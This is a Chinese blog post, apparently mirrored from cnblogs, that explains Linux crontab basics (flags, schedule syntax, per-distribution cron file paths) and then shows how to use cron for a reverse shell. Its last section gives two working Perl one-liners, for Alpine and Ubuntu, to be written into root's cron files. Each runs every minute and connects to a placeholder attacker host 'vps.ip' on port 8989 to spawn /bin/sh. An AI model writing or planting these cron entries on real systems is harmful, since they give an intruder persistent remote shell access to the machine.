zoukankan      html  css  js  c++  java
  • 【奇技淫巧】linux 定时任务 crontab 反弹 shell


    日期:2018-11-26 13:47:34
    介绍:如何使用定时任务来反弹 shell?


    0x01、 基本命令

    参数

    -e:编辑该用户的计时器设置;
    -l:列出该用户的计时器设置;
    -r:删除该用户的计时器设置;
    -u <用户名称>:指定要设定计时器的用户名称。
    

    MAC 直接使用 crontab -e 无效:

    编辑 username 的 crontab
    $ sudo crontab -u username -e
    
    列出 username 的 crontab,查看编辑后的数据
    $ crontab -u username -l
    

    0x02、具体信息

    2.1 /etc/crontab 文件

    该文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

    minute hour day month week command
    对应 分 时 日 月 周

    2.2 如何开启服务

    service cron start
    
    或者
    
    /etc/init.d/cron {start|stop|status|restart|reload|force-reload}
    

    2.3 配置文件

    系统任务调度文件:/etc/crontab
    用户 XXX 调度文件:

    ubuntu 下路径
    /var/spool/cron/crontabs/xxx
    
    Alpine 下路径
    /etc/cron.d/xxx
    
    debian 下的路径(xxx 可以是任意东西)
    /etc/cron.d/xxx
    或者
    /var/spool/cron/crontabs/xxx
    但是写这个路径的时候,文件内不能加用户名。
    

    ubuntu 直接修改用户的调度文件后,可使用 crontab 相关命令直接查看、编辑。

    Alpine 修改了文件,crontab 查不到。。

    0x03、具体实例

    每天的六点输出信息
    0 6 * * * echo "Good morning." >> /tmp/test.txt

    每晚的21:30重启smb
    30 21 * * * /etc/init.d/smb restart

    0x04、反弹 shell

    Alpine 系统:将以下内容写入 /etc/cron.d/root 即可。

    */1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    ##
    

    ubuntu 系统:写入的文件是/var/spool/cron/crontabs/root
    需要注意的是,ubuntu 不需要在5个*后面加 root。

    */1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    直接写入文件以后,使用 crontab -l 可以看到加上的任务。

    About Me

    别活成自己讨厌的那种人就成。

    有问题欢迎沟通交流 :)

    WeChat:Bay0net

  • 相关阅读:
    JVM学习02:GC垃圾回收和内存分配
    JVM学习01:内存结构
    webservice学习01:wsdl文档结构
    项目总结21:项目总结21:input实现多图上传(FormData)(上传OSS并保存数据库)
    mysql学习3:mysql之my.cnf详解
    项目总结20:阿里云免费https证书申请
    5月9日——vue渲染过程中{{xxx}}显示
    5月8日——iOS中的3D Touch效果
    5月7日——采用第三方页面内容,但是顶部title使用自己的
    5月5日——更改手机状态栏的背景颜色
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/how-to-use-crontab-to-getshell.html
Copyright © 2011-2022 走看看